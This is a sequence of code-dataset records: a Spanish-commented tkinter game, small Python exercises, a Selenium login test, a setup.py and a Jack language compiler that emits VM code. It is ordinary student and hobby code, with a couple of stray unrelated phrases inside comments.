\"ASH\"\n## Son simplemente puntos en la ventana\n\nx_ini = 260\ny_ini = 480\n\n## Variable que funciona como limites de ventana segun el\n## lugar donde se encuentre \"ASH\"\n\nlimit_Y_UP = 120 ## Se asigna el limite superior\nlimit_Y_DOWN = 490 ## Se asigna el limite inferior\nlimit_X_LEFT = 20 ## Se asigna el limite izquierdo\nlimit_X_RIGHT = 500 ## Se asigna el limite derecho\n\n## Asignamos la primera posicion de \"ASH\"\n## Las posiciones de \"ASH\" son simples imagenes que se cargan\n## Segun al tecla que se preciona, las cuales estan en la carpeta del archivo.py\n\nash = PhotoImage(file=\"ash_up.gif\")\n\n## Asignamos la imagen de fondo\n## Al igual que \"ASH\", mi idea inical, es que el fondo cambie segun la posicion de \"ASH\"\n\nfondo = PhotoImage(file=\"lab_oak.gif\")\nnum_fondo = 1\n\n## Aqui se coloca en la ventana del juego, el primer fondo y la poscicion inical de \"ASH\"\nlabel_FONDO = Label(ventana, image=fondo).place(x=0, y=0)\nlabel_ASH = Label(ventana, image=ash).place(x=x_ini, y=y_ini)\n\n## Esta es en si, la funcion principal, en esta parte ocurren\n##Todos los cambios segun los eventos que sucedan en pantalla o teclado\n\ndef mover(ash):\n global x_ini, y_ini, fondo, num_fondo, limit_Y_UP, limit_Y_DOWN, limit_X_LEFT, limit_X_RIGHT ## Se llama a las variables globales\n label_FONDO = Label(ventana, image=fondo).place(x=0,\n y=0) ## Se actualiza el fondo primero para que quede detras de los demas elementos\n label_ASH = Label(ventana, image=ash).place(x=x_ini, y=y_ini) ## Se acutlza la posicion de \"ASH\"\n print(str(x_ini), str(\n y_ini)) ## Esto lo coloco simplemente para poder ver donde esta #ASH# y asi poder ir colocando las posiciones ya sea de otros elemntos o restricciones para \"ASH\" como limite de pantalla\n x_ini = 260\n y_ini = 480\n\n if x_ini == 260 and y_ini == 490 and num_fondo == 1: ## Este if cambia el fondo hacia afuera del laboratorio\n limit_Y_UP = 30 ## Se actualiza el nuevo limite superior\n limit_Y_DOWN = 490 ## Se actualiza el nuevo limite inferior\n limit_X_LEFT = 20 ## Se actualiza el nuevo limite izquierdo\n limit_X_RIGHT = 500 ## Se actualiza el nuevo limite derecho\n num_fondo = 2\n fondo = PhotoImage(\n file=\"afueras.gif\") ## Como lo dije anteriormente, el fondo es solo una imagen, aqui se cambia si \"ASH\" se acerca a la puerta\n x_ini = 380 ## Se asignan los nuevos puntos de aparicion para que salga del laboratorio\n y_ini = 340 ## Se asignan los nuevos puntos de aparicion para que salga del laboratorio\n label_FONDO = Label(ventana, image=fondo).place(x=0,\n y=0) ## Se actualiza el fondo primero para que quede detras de los demas elementos\n label_ASH = Label(ventana, image=ash).place(x=x_ini, y=y_ini) ## Se acutlza la posicion de \"ASH\"\n if x_ini == 380 and y_ini == 330 and num_fondo == 2: ## Este if cambia el fondo hacia afuera del laboratorio\n limit_Y_UP = 120 ## Se actualiza el nuevo limite superior\n limit_Y_DOWN = 490 ## Se actualiza el nuevo limite inferior\n limit_X_LEFT = 20 ## Se actualiza el nuevo limite izquierdo\n limit_X_RIGHT = 500 ## Se actualiza el nuevo limite derecho\n num_fondo = 1\n fondo = PhotoImage(\n file=\"lab_oak.gif\") ## Como lo dije anteriormente, el fondo es solo una imagen, aqui se cambia si \"ASH\" se acerca a la puerta\n x_ini = 260 ## Se asignan los nuevos puntos de aparicion para que salga del laboratorio\n y_ini = 480 ## Se asignan los nuevos puntos de aparicion para que salga del laboratorio\n label_FONDO = Label(ventana, image=fondo).place(x=0,\n y=0) ## Se actualiza el fondo primero para que quede detras de los demas elementos\n label_ASH = Label(ventana, image=ash).place(x=x_ini, y=y_ini) ## Se acutlza la posicion de \"ASH\"\n\n ventana.mainloop() ## De momento es una funcio recursiva, es un problema pero no super de que otra forma hacer que todo funcionara bien\n\n\n### Este modulo actualiza la posicion de \"ASH\" 10\n### pixeles hacia arriba y cambia la imagen para una\n### animacion de movimiento\n\ndef change(evento):\n global y_ini, limit_Y_UP\n if y_ini != limit_Y_UP:\n y_ini -= 10\n ash = PhotoImage(file=\"ash_up.gif\")\n mover(ash)\n\n\n### Este modulo actualiza la posicion de \"ASH\" 10\n### pixeles hacia arriba y cambia la imagen para una\n### animacion de movimiento\n\ndef change2(evento):\n global y_ini, limit_Y_DOWN\n if y_ini != limit_Y_DOWN:\n y_ini += 10\n ash = PhotoImage(file=\"ash_down.gif\")\n mover(ash)\n\n\n### Este modulo actualiza la posicion de \"ASH\" 10\n### pixeles hacia arriba y cambia la imagen para una\n### animacion de movimiento\n\ndef change3(evento):\n global x_ini, limit_X_LEFT\n if x_ini != limit_X_LEFT:\n x_ini -= 10\n ash = PhotoImage(file=\"ash_left.gif\")\n mover(ash)\n\n\n### Este modulo actualiza la posicion de \"ASH\" 10\n### pixeles hacia arriba y cambia la imagen para una\n### animacion de movimiento\n\ndef change4(evento):\n global x_ini, limit_X_RIGHT\n if x_ini != limit_X_RIGHT:\n x_ini += 10\n ash = PhotoImage(file=\"ash_right.gif\")\n mover(ash)\n\n\nventana.bind_all(\"\", change) ## Detecta cuando se presiona la tecla arriba\nventana.bind_all(\"\", change2) ## Detecta cuando se presiona la tecla abajo\nventana.bind_all(\"\", change3) ## Detecta cuando se presiona la tecla izquierda\nventana.bind_all(\"\", change4) ## Detecta cuando se presiona la tecla derecha\n\nventana.mainloop() ## Da incio al programa\n\n\n\n\n\n","sub_path":"pokemon.py","file_name":"pokemon.py","file_ext":"py","file_size_in_byte":6263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"540825651","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def __init__(self):\n self.vals=[]\n self.head=None\n \n def deleteDuplicates(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n self.head=head\n while head is not None:\n if head.next is None:\n break\n if head.next.val==head.val:\n head.next=head.next.next\n else:\n head=head.next\n return self.head","sub_path":"remove_duplicates_from_sorted_list.py","file_name":"remove_duplicates_from_sorted_list.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"614193697","text":"def loop():\n blocks = 0\n number_of_rows = int(input(\"> \")) + 1\n for rows in range(1, number_of_rows):\n blocks += rows\n print(blocks)\nloop()\n\n\ndef recursion(n, blocks): # it broke when i tried to do it other ways ):\n if n >= 0:\n blocks += n\n recursion(n-1, blocks)\n else:\n print(blocks)\n return 0\nrows = int(input(\"> \"))\nrecursion(rows, 0)\n\n","sub_path":"Prac10/pyramid.py","file_name":"pyramid.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"64880254","text":"import numpy as np\n\ndef simple_mx_print(mx):\n return \"\\n\".join(\" \".join([str(e) for e in mx[i, :]]) for i in range(mx.shape[0]))\n\nR = 30\nC = 30\nM = 9\nN = 50\nrmax = 8\ncmax = 8\n\noutput = \"\"\noutput += \"{} {} {}\\n\".format(R,C,M)\n\noutput += simple_mx_print(np.random.randint(0, M, size=(R,C))) + \"\\n\"\noutput += str(N) + \"\\n\"\nfor i in range(N):\n r = np.random.randint(1, rmax + 1)\n c = np.random.randint(1, cmax + 1)\n\n output += \"{} {}\\n\".format(r,c)\n output += simple_mx_print(np.random.randint(0, M, size=(r,c)))\n if i < N-1:\n output += \"\\n\"\n\noutFile = open(\"big1.txt\", \"w\")\noutFile.write(output)\noutFile.close()\n\n","sub_path":"2/input/create_big.py","file_name":"create_big.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"479247191","text":"from selenium import webdriver\nimport time\nimport pytest\n\nclass TestLogin:\n #@pytest.fixture(scope='function')\n #@pytest.fixture(scope='session')\n @pytest.fixture(scope='class')\n def test_launch_browser(self):\n global driver\n driver=webdriver.Chrome(executable_path=\"C:/Users/Dell/PycharmProjects/Automation_POM_Framework/drivers/chromedriver.exe\")\n driver.maximize_window()\n driver.implicitly_wait(30)\n driver.get(\"http://localhost:9001/login.do\")\n\n def test_login(self,test_launch_browser):\n driver.find_element_by_name(\"username\").send_keys(\"admin\")\n driver.find_element_by_name(\"pwd\").send_keys(\"manager\")\n driver.find_element_by_xpath(\"//*[text()='Login ']\").click()\n\n\n def test_logout(self,test_launch_browser):\n time.sleep(5)\n driver.find_element_by_xpath(\"//*[text()='Logout']\").click()\n\n# test_launch_browser()\n# test_login()\n# test_logout()","sub_path":"tests/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"628248659","text":"from os import path\nfrom setuptools import setup, find_packages\n\nwith open(path.join(path.dirname(__file__), 'README')) as f:\n readme = f.read()\n\nsetup(\n name=\"django-bbcode\",\n version='1.0.2',\n description=\"Little helper application to parse and render bbcode\",\n long_description=readme,\n url=\"https://github.com/camilleb/django-bbcode\",\n author=\"marcinn (Marcin Nowak)\",\n packages=find_packages(),\n include_package_data=True,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"633561973","text":"from JackTokenizer import JackTokenizer,JackTokenizerRewind\nfrom SymbolTable import SymbolTable\nfrom xml.etree.ElementTree import Element,SubElement\nfrom VMWriter import VMWriter,InstructionError\nclass CompilationEngine:\n\n unary_op = {'-','~'} #mathematical and logical negation\n sub_call_op = {'.','('} #used to determine\n key_const = {'true','false','null','this'}\n ops = {'+','-','*','/','&','|','<','>','='}\n\n #constants\n LOOP = \"LOOP\"\n LOOP_END = \"LOOP_END\"\n IF_END = \"IF_END\"\n ELSE = \"ELSE\"\n\n binary_op_commands = {\n \"-\":\"sub\",\n \"+\":\"add\",\n \"<\":\"lt\",\n \">\":\"gt\",\n \"&\":\"and\",\n \"|\":\"or\",\n \"=\":\"eq\"\n }\n\n binary_op_functions = {\n \"*\":\"Math.multiply\",\n \"/\":\"Math.divide\"\n }\n\n unary_op_commands = {\n \"-\":\"neg\",\n \"~\":\"not\"\n }\n\n\n def xml_decorator(node_name):\n \"\"\" Adds xml generation code to called compilation objects.\n Manages the node tree for the function, creating a new\n subnode provided by the name and placing it as the current subnode.\n Once the decorated function is done executing, the original parent is\n restored to status of current node.\n \"\"\"\n def decorator(func):\n def wrapper(self):\n old_parent = self.__current_parent\n self.__current_parent = SubElement(old_parent,node_name)\n return func(self)\n self.__current_parent = old_parent\n return wrapper\n return decorator\n\n def __init__(self,file):\n self.__file = file\n self.__tokenizer = JackTokenizerRewind(file)\n self.__symbol_table = SymbolTable()\n self.__vm = VMWriter(self.__file)\n #holds XML root\n self.__root = None\n #holds the current parent node\n self.__current_parent = None\n \n #holds the last xml node processed\n self.__last_node = None\n\n\n #the name of the current class\n self.__class_name = \"\"\n\n # name of the current function being defined\n self.__function_name = \"\"\n\n #type of subroutine being compiled.\n #needs to be retained for constructors\n self.__subroutine_type = \"\"\n\n #count for generating unique labels\n self.__label_counts = {self.IF_END:0,self.ELSE:0,self.LOOP:0,self.LOOP_END:0}\n #bootstrap the compilation process\n if self.__tokenizer.advance():\n self.compileClass()\n\n def getXML(self):\n return self.__root\n\n def compileClass(self):\n self.__root = Element('class')\n self.__current_parent = self.__root\n self.__consume(JackTokenizer.KEYWORD,'class')\n self.__class_name = self.__tokenizer.token()\n self.__consume(JackTokenizer.IDENTIFIER)\n self.__consume(JackTokenizer.SYMBOL,'{')\n\n #process class var declarations\n while self.__tokenizer.keyword() in ('field','static'):\n self.compileClassVarDec()\n\n #process subroutine declarations\n while self.__tokenizer.keyword() in ('constructor','method','function'):\n self.compileSubroutineDec()\n\n\n self.__consume(JackTokenizer.SYMBOL,'}') \n\n self.__vm.close() \n\n @xml_decorator(\"classVarDec\")\n def compileClassVarDec(self):\n\n kind = self.__consume(JackTokenizer.KEYWORD,self.__tokenizer.keyword()) #static or field\n\n\n type = self.__consumeTypeDec()\n\n #consume the variable list\n #make sure their is at least one identifier\n name = self.__consume(JackTokenizer.IDENTIFIER)\n self.__symbol_table.define(name,type,kind)\n info = self.__symbol_table.varInfo(name)\n self.__last_node.set(\"type\", info.type)\n self.__last_node.set(\"kind\", info.kind)\n self.__last_node.set(\"index\", str(info.index))\n while self.__tokenizer.type == JackTokenizer.SYMBOL and self.__tokenizer.symbol() == ',':\n self.__consume(JackTokenizer.SYMBOL,',')\n name = self.__consume(JackTokenizer.IDENTIFIER)\n self.__symbol_table.define(name,type,kind)\n info = self.__symbol_table.varInfo(name)\n self.__last_node.set(\"type\", info.type)\n self.__last_node.set(\"kind\", info.kind)\n self.__last_node.set(\"index\", str(info.index))\n\n #consume ending ';'\n self.__consume(JackTokenizer.SYMBOL,';')\n\n\n @xml_decorator(\"subroutineDec\")\n def compileSubroutineDec(self):\n self.__symbol_table.startSubroutine()\n\n #handle special cases for setting up methods\n #set up for constructors must be done within the body compilation.\n self.__subroutine_type = self.__tokenizer.token()\n if self.__subroutine_type == \"method\":\n #this must be the first argument to the method,so add to symbol table\n self.__symbol_table.define(\"this\",self.__class_name,SymbolTable.ARG)\n\n\n self.__consume(JackTokenizer.KEYWORD,{'constructor','method','function'})\n\n #handle return type\n if self.__tokenizer.type == JackTokenizer.KEYWORD:\n self.__consume(JackTokenizer.KEYWORD,{'void','int','boolean','char'})\n else:\n self.__consume(JackTokenizer.IDENTIFIER)\n\n #handle function name \n #NOTE: Function declarations on the stack require both the function \n #Name and the number of local variables, the latter of which is parsed \n #in compileSubroutineBody. Thus, save the function name and actually write the \n #vm code in compileSubroutineBody\n self.__function_name = self.__tokenizer.identifier()\n self.__consume(JackTokenizer.IDENTIFIER)\n\n #handle expressions\n self.__consume(JackTokenizer.SYMBOL,'(')\n self.compileParameterList()\n self.__consume(JackTokenizer.SYMBOL,')') \n\n #move onto subroutineBody\n self.compileSubroutineBody() \n\n @xml_decorator(\"parameterList\")\n def compileParameterList(self):\n\n #consume parameter list if any\n if self.__compileParameter() :\n #consume additional parameters\n while self.__tokenizer.token() == \",\":\n self.__consume(JackTokenizer.SYMBOL,',')\n self.__compileParameter()\n\n def __compileParameter(self):\n #if is a parameter, consume the type declaration and the variable name\n param_keywords = {'int','boolean','char'}\n if self.__tokenizer.type == JackTokenizer.IDENTIFIER:\n type = self.__consume(JackTokenizer.IDENTIFIER)\n \n elif self.__tokenizer.type == JackTokenizer.KEYWORD and self.__tokenizer.keyword() in param_keywords:\n type = self.__consume(JackTokenizer.KEYWORD,param_keywords)\n else: \n return False\n name = self.__consume(JackTokenizer.IDENTIFIER)\n\n self.__symbol_table.define(name,type,SymbolTable.ARG)\n info = self.__symbol_table.varInfo(name)\n self.__last_node.set('type',info.type)\n self.__last_node.set('kind',info.kind)\n self.__last_node.set('index',str(info.index))\n return True\n\n @xml_decorator(\"subroutineBody\")\n def compileSubroutineBody(self):\n\n self.__consume(JackTokenizer.SYMBOL,'{')\n\n #handle optional variable declarations.\n locals = 0\n while self.__tokenizer.token() == 'var':\n locals += self.compileVarDec() \n self.__vm.writeFunction(\"{}.{}\".format(self.__class_name,self.__function_name),locals)\n if self.__subroutine_type == \"constructor\":\n #allocate memory and set up this pointer on stack\n self.__vm.writePush(\"constant\",self.__symbol_table.varCount(SymbolTable.FIELD))\n self.__vm.writeCall(\"Memory.alloc\",1)\n self.__vm.writePop(\"pointer\",0)\n elif self.__subroutine_type == 'method':\n #is a method, so set this pointer from argument zero\n self.__vm.writePush(\"argument\",0)\n self.__vm.writePop(\"pointer\",0) \n \n self.compileStatements()\n \n\n self.__consume(JackTokenizer.SYMBOL,'}')\n\n @xml_decorator(\"varDec\")\n def compileVarDec(self):\n num_vars = 1\n self.__consume(JackTokenizer.KEYWORD,'var')\n type = self.__consumeTypeDec()\n name = self.__consume(JackTokenizer.IDENTIFIER)\n\n self.__symbol_table.define(name,type,SymbolTable.VAR)\n info = self.__symbol_table.varInfo(name)\n self.__last_node.set('type',info.type)\n self.__last_node.set('kind',info.kind)\n self.__last_node.set('index',str(info.index))\n #handle multiple variables\n while self.__tokenizer.token() == ',':\n num_vars += 1\n self.__consume(JackTokenizer.SYMBOL,',')\n name = self.__consume(JackTokenizer.IDENTIFIER)\n self.__symbol_table.define(name,type,SymbolTable.VAR)\n info = self.__symbol_table.varInfo(name)\n self.__last_node.set('type',info.type)\n self.__last_node.set('kind',info.kind)\n self.__last_node.set('index',str(info.index))\n\n #finish declaration\n self.__consume(JackTokenizer.SYMBOL,';')\n return num_vars\n\n @xml_decorator(\"statements\")\n def compileStatements(self):\n\n while self.__tokenizer.type == JackTokenizer.KEYWORD and self.__tokenizer.keyword() in ('do','let','if','return','while'):\n token = self.__tokenizer.keyword()\n if token == 'do':\n self.compileDo()\n elif token == 'let':\n self.compileLet()\n elif token == 'if':\n self.compileIf()\n elif token == 'return':\n self.compileReturn()\n elif token == 'while':\n self.compileWhile()\n\n @xml_decorator(\"doStatement\")\n def compileDo(self):\n self.__consume(JackTokenizer.KEYWORD,\"do\")\n self.compileSubroutineCall()\n #remove returned value from the stack\n self.__vm.writePop(\"temp\",0)\n self.__consume(JackTokenizer.SYMBOL,\";\")\n \n @xml_decorator(\"letStatement\")\n def compileLet(self):\n \"\"\"compiles let statements.\"\"\"\n\n #NOTE: To handle storage to arrays\n #First pop the top value returned by the \n #expression into temp 0, store array pointer\n #in pointer 1, then push temp 0 back onto \n #the stack and then push the value into \n #that 0\n\n #get variable name\n self.__consume(JackTokenizer.KEYWORD,'let')\n name = self.__tokenizer.identifier()\n self.__consume(JackTokenizer.IDENTIFIER)\n\n info = self.__symbol_table.varInfo(name)\n \n\n #handle storing an element to a specific array index\n is_array_access = False\n if info.type == \"Array\" and self.__tokenizer.token() == \"[\":\n #place base array pointer onto the stack\n self.__vm.writePush(info.kind,info.index)\n #calculate internal expression for index\n self.__consume(JackTokenizer.SYMBOL,\"[\")\n self.compileExpression()\n self.__consume(JackTokenizer.SYMBOL,']')\n #add to base array pointer to get element's address\n self.__vm.writeArithmetic(\"add\")\n\n is_array_access = True\n\n\n self.__consume(JackTokenizer.SYMBOL,\"=\")\n self.compileExpression()\n self.__consume(JackTokenizer.SYMBOL,\";\")\n\n #if array, store returned expression into the specified element.\n #otherwise, just store into the variable based on it's location\n #in memory\n\n if is_array_access:\n #save expression result off of stack \n #so that element pointer can be accessed\n self.__vm.writePop(\"temp\",0)\n\n #point to array element and save result\n self.__vm.writePop(\"pointer\",1)\n self.__vm.writePush(\"temp\",0)\n self.__vm.writePop(\"that\",0)\n else:\n #simply save to location in memory specified by symbol table.\n kind = info.kind\n if info.kind == SymbolTable.FIELD:\n kind = \"this\"\n self.__vm.writePop(kind,info.index)\n\n @xml_decorator(\"ifStatement\")\n def compileIf(self):\n\n self.__consume(JackTokenizer.KEYWORD,'if')\n self.__consume(JackTokenizer.SYMBOL,'(')\n self.compileExpression()\n\n # Negate the expression. If the original expression \n # is true, then negation will be false, resulting\n # in excution skipping to next line. This will \n # result in the if statements executing, followed by a jump using \n # goto to jump over the else statements.\n # If negation is true, then the if-goto activates jumping \n # past the if statments to the else statements.\n self.__vm.writeArithmetic('not')\n label = self.__generateLabel(self.ELSE)\n self.__vm.writeIf(label)\n self.__consume(JackTokenizer.SYMBOL,')')\n self.__consume(JackTokenizer.SYMBOL,'{')\n self.compileStatements()\n self.__consume(JackTokenizer.SYMBOL,\"}\")\n\n if self.__tokenizer.type == JackTokenizer.KEYWORD and self.__tokenizer.keyword() == 'else':\n #write else label if here there is an else statement\n #use IF_END for end of full block\n #otherwise, else will be used as end of if block\n label_else = label\n label = self.__generateLabel(self.IF_END)\n self.__vm.writeGoto(label)\n self.__vm.writeLabel(label_else)\n self.__consume(JackTokenizer.KEYWORD,'else')\n self.__consume(JackTokenizer.SYMBOL,'{')\n self.compileStatements()\n self.__consume(JackTokenizer.SYMBOL,'}')\n\n # write the final label for the block\n self.__vm.writeLabel(label)\n\n @xml_decorator(\"returnStatement\")\n def compileReturn(self):\n self.__consume(JackTokenizer.KEYWORD,'return')\n #not an emptry return, so compile expression\n if not (self.__tokenizer.type == JackTokenizer.SYMBOL and self.__tokenizer.symbol() == ';'):\n self.compileExpression()\n else: #empty return, so provide a return of zero\n self.__vm.writePush('constant',0)\n self.__vm.writeReturn()\n self.__consume(JackTokenizer.SYMBOL,';')\n\n @xml_decorator(\"whileStatement\")\n def compileWhile(self):\n loop_label = self.__generateLabel(self.LOOP)\n loop_end_label = self.__generateLabel(self.LOOP_END)\n self.__vm.writeLabel(loop_label)\n \n self.__consume(JackTokenizer.KEYWORD,'while')\n self.__consume(JackTokenizer.SYMBOL,'(')\n self.compileExpression()\n self.__consume(JackTokenizer.SYMBOL,')')\n\n #if expression is false, jump to end of loop\n self.__vm.writeArithmetic(\"not\")\n self.__vm.writeIf(loop_end_label)\n\n self.__consume(JackTokenizer.SYMBOL,'{')\n self.compileStatements()\n self.__consume(JackTokenizer.SYMBOL,'}')\n\n #go back to start of the loop\n self.__vm.writeGoto(loop_label)\n #end loop block\n self.__vm.writeLabel(loop_end_label)\n\n @xml_decorator(\"expressionList\")\n def compileExpressionList(self):\n \"\"\"Compiles a list of expressions.\"\"\"\n num_args = 0\n #utilizes the fact that all expression lists are currently contained within parenthesis to test\n if not (self.__tokenizer.type == JackTokenizer.SYMBOL and self.__tokenizer.symbol() == ')'):\n self.compileExpression()\n num_args = 1\n while self.__tokenizer.type == JackTokenizer.SYMBOL and self.__tokenizer.symbol() == ',':\n self.__consume(JackTokenizer.SYMBOL,',')\n self.compileExpression()\n num_args+=1\n return num_args\n \n @xml_decorator(\"expression\")\n def compileExpression(self):\n self.compileTerm()\n while self.__tokenizer.token() in self.ops:\n op = self.__tokenizer.symbol()\n self.__consume(JackTokenizer.SYMBOL,self.ops)\n self.compileTerm()\n #handle op after term..remember call stack\n if op in self.binary_op_commands:\n self.__vm.writeArithmetic(self.binary_op_commands[op])\n elif op in self.binary_op_functions:\n self.__vm.writeCall(self.binary_op_functions[op],2)\n \n\n\n @xml_decorator(\"term\")\n def compileTerm(self):\n \"\"\"Compiles individual terms. Terms can be recursively defined\"\"\"\n t_type = self.__tokenizer.type\n if t_type == JackTokenizer.INT:\n self.__vm.writePush(\"constant\",self.__tokenizer.integer())\n self.__consume(JackTokenizer.INT)\n elif t_type == JackTokenizer.STRING:\n string = self.__tokenizer.string()\n #initialize string object\n self.__vm.writePush(\"constant\",len(string))\n self.__vm.writeCall(\"String.new\",1)\n for char in string:\n self.__vm.writePush(\"constant\",ord(char))\n self.__vm.writeCall(\"String.appendChar\",2)\n\n self.__consume(JackTokenizer.STRING)\n elif t_type == JackTokenizer.KEYWORD and self.__tokenizer.keyword() in self.key_const: #true,false,null,this\n #consume the keyword, but save in case it is part of a method call on 'this'\n token = self.__tokenizer.keyword()\n #obtain next token for testing if it is a method call on this\n self.__tokenizer.advance()\n next_token = self.__tokenizer.token()\n #restore keyword token for later consumption\n self.__tokenizer.rewind()\n \n if token == 'this':\n self.__vm.writePush('pointer',0)\n if next_token == '.': #method call\n self.compileSubroutineCall()\n else: #subroutineCall consumes this after using it for determining context\n self.__consume(JackTokenizer.KEYWORD,self.key_const)\n else: #single keyword\n if token == \"true\":\n #true is -1 in the vm\n self.__vm.writePush(\"constant\",1)\n self.__vm.writeArithmetic('neg')\n else:\n self.__vm.writePush(\"constant\",0)\n self.__consume(JackTokenizer.KEYWORD,self.key_const)\n\n elif t_type == JackTokenizer.SYMBOL and self.__tokenizer.symbol() == '(': #assume parenthesis by itself starts an expression\n self.__consume(JackTokenizer.SYMBOL,'(')\n self.compileExpression()\n self.__consume(JackTokenizer.SYMBOL,')')\n elif t_type == JackTokenizer.SYMBOL and self.__tokenizer.symbol() in self.unary_op: # example mathematical negation of an expression -- call term again\n op = self.__tokenizer.symbol()\n self.__consume(JackTokenizer.SYMBOL,self.unary_op)\n self.compileTerm()\n self.__vm.writeArithmetic(self.unary_op_commands[op])\n\n elif t_type == JackTokenizer.IDENTIFIER: #can be a variable, array, or function call\n #####NOTE: Does not handle function calls on arrays!!!!!!#########\n #####NOTE: 2 Arrays are nontyped - no way for language to do this ########\n #handle pushing values/pointers onto the stack\n #NOTE: If name not found in symbol table, assume class reference for \n #static method call\n name = self.__tokenizer.identifier()\n info = self.__symbol_table.varInfo(name)\n kind = \"class\"\n if info: #not in symbol table if reference to class or method called on current instance\n kind = info.kind\n if kind == SymbolTable.FIELD:\n kind = 'this'\n \n #determine if there is a method call or array access\n self.__tokenizer.advance() \n\n t_type = self.__tokenizer.type\n token = self.__tokenizer.token()\n self.__tokenizer.rewind() #rewind back to identifier for processing methods to consume\n if t_type == JackTokenizer.SYMBOL and (token in self.sub_call_op or token == \"[\"): #handle array and function calls \n if token in self.sub_call_op: #handle method and function calls\n self.compileSubroutineCall()\n elif token == \"[\":\n if info.type != \"Array\":\n raise CompilationError(\"{} is not type Array\".format(name))\n #handle array access hereYou can find in the Getting Started section all the in\n self.__vm.writePush(kind,info.index)\n self.__consume(JackTokenizer.IDENTIFIER)\n self.__consume(JackTokenizer.SYMBOL,\"[\")\n self.compileExpression()\n self.__consume(JackTokenizer.SYMBOL,\"]\")\n self.__vm.writeArithmetic('add')\n self.__vm.writePop(\"pointer\",1)\n self.__vm.writePush(\"that\",0)\n else:\n #just a variable, consume\n self.__vm.writePush(kind,info.index)\n self.__consume(JackTokenizer.IDENTIFIER)\n \n def compileSubroutineCall(self):\n \"\"\"\n Handles parsing of the subroutine call\n \"\"\"\n is_method = True\n caller = \"\"\n t_type = self.__tokenizer.type\n if t_type == JackTokenizer.KEYWORD and self.__tokenizer.keyword() == 'this': #handle this identifier\n self.__consume(JackTokenizer.KEYWORD,'this')\n caller = self.__class_name\n else: #assume an identifier\n #see if method is being invoked on a class or \n #object instance.\n #only object instances will exist within the symbol table\n #assume Class method invocation otherwise\n caller = self.__tokenizer.identifier()\n info = self.__symbol_table.varInfo(caller)\n #set caller to be the class\n if info:\n caller = info.type\n else:\n is_method = False\n \n\n\n self.__consume(JackTokenizer.IDENTIFIER)\n\n\n if self.__tokenizer.token() == '.': #if method call, consume . and method name identifier\n if is_method: \n #push reference to instance being invoked onto stack\n if info:\n kind = info.kind\n if kind == 'field':\n kind = 'this'\n self.__vm.writePush(kind,info.index)\n\n self.__consume(JackTokenizer.SYMBOL,'.')\n function = self.__tokenizer.identifier()\n self.__consume(JackTokenizer.IDENTIFIER)\n else: #is a method called simply by the function name without invoking this\n function = caller\n caller = self.__class_name\n is_method =True\n #add in reference to this on stack as not handled by code.\n self.__vm.writePush(\"pointer\",0)\n #handle The code was developed against Pi 3 B, I have not tested on Pi 1. I think references to the name BCM2835 may be accidental, perhaps more accurate would be to call it BCM2837, although also possible that they sharethe actual function call portion -- Always runs\n self.__consume(JackTokenizer.SYMBOL,'(')\n args = self.compileExpressionList()\n self.__consume(JackTokenizer.SYMBOL,')')\n #if caller is a method, add the calling object as an argument\n if is_method:\n args +=1\n self.__vm.writeCall(caller+\".\"+function,args)\n \n\n def compileVariable(self):\n \"\"\"Compile a variable and array declaration.\"\"\"\n self.__consume(JackTokenizer.IDENTIFIER)\n t_type = self.__tokenizer.type\n if t_type == JackTokenizer.SYMBOL and self.__tokenizer.symbol() == '[': #arrays\n self.__consume(JackTokenizer.SYMBOL,'[')\n self.compileExpression()\n self.__consume(JackTokenizer.SYMBOL,']')\n\n\n\n\n \n\n\n #note: token is passed for checking that the token matches a specific\n #expected value. The token recorded is taken from the tokenizer\n #thus, only pre-enumerated tokens such as symbols or keywords will use the \n #token paramenter. \n #token can either be a single token or an array of possible values\n def __consume(self,t_type,token=None):\n #test type\n if self.__tokenizer.type != t_type:\n raise CompilationError(\"%s -- Expecting type: %s Received type: %s\"%(self.__file,t_type,self.__tokenizer.type))\n \n #if specific token(s) \n if token:\n #if not a list or set, then wrap in set for comparison\n if not isinstance(token,(list,set)):\n token = {token}\n if self.__tokenizer.token() not in token:\n \n raise CompilationError(\"{} -- Expecting {} of type {}. Received {}: {}\".format(self.__file,token,t_type, self.__tokenizer.type,self.__tokenizer.token()))\n\n\n #generate xml for token\n token_xml = SubElement(self.__current_parent,self.__tokenizer.type)\n token_string = str(self.__tokenizer.token())\n token_xml.text = \" {} \".format(token_string)\n self.__last_node = token_xml\n\n self.__tokenizer.advance()\n return token_string\n\n #helper method for consuming type declarations\n def __consumeTypeDec(self):\n t_type = self.__tokenizer.type\n\n #varable type can be a keyword constant or class name\n if t_type == JackTokenizer.KEYWORD:\n return self.__consume(JackTokenizer.KEYWORD,{'int','char','boolean'})\n else:\n return self.__consume(JackTokenizer.IDENTIFIER)\n\n def __generateLabel(self,type):\n label = type+str(self.__label_counts[type])\n self.__label_counts[type] += 1\n return label\n \n\n\n\n\n\nclass CompilationError(Exception):\n pass \n\nclass NotValidJackFileError(Exception):\n pass\n\nimport os\ndef get_jack_files(filename):\n \"\"\" Returns a generator that enumerate all jack files in a directory.\n Returns a generator with the jack file is the path is a jack file.\n Throws NoValidJackFile if no jack files found.\n \"\"\"\n if os.path.isfile(filename):\n if comp_extension(filename,\"jack\"):\n yield filename\n else:\n raise NotValidJackFileError(filename)\n elif os.path.isdir(filename):\n #loop through files and return jack files\n constains_jack_file = False #flags if no jack files found\n dirs = os.listdir(filename)\n for file in dirs:\n file = os.path.join(filename,file)\n if os.path.isfile(file) and comp_extension(file,\"jack\"):\n constains_jack_file = True\n yield file\n\n if not constains_jack_file:\n raise NotValidJackFileError(filename)\n else:\n raise 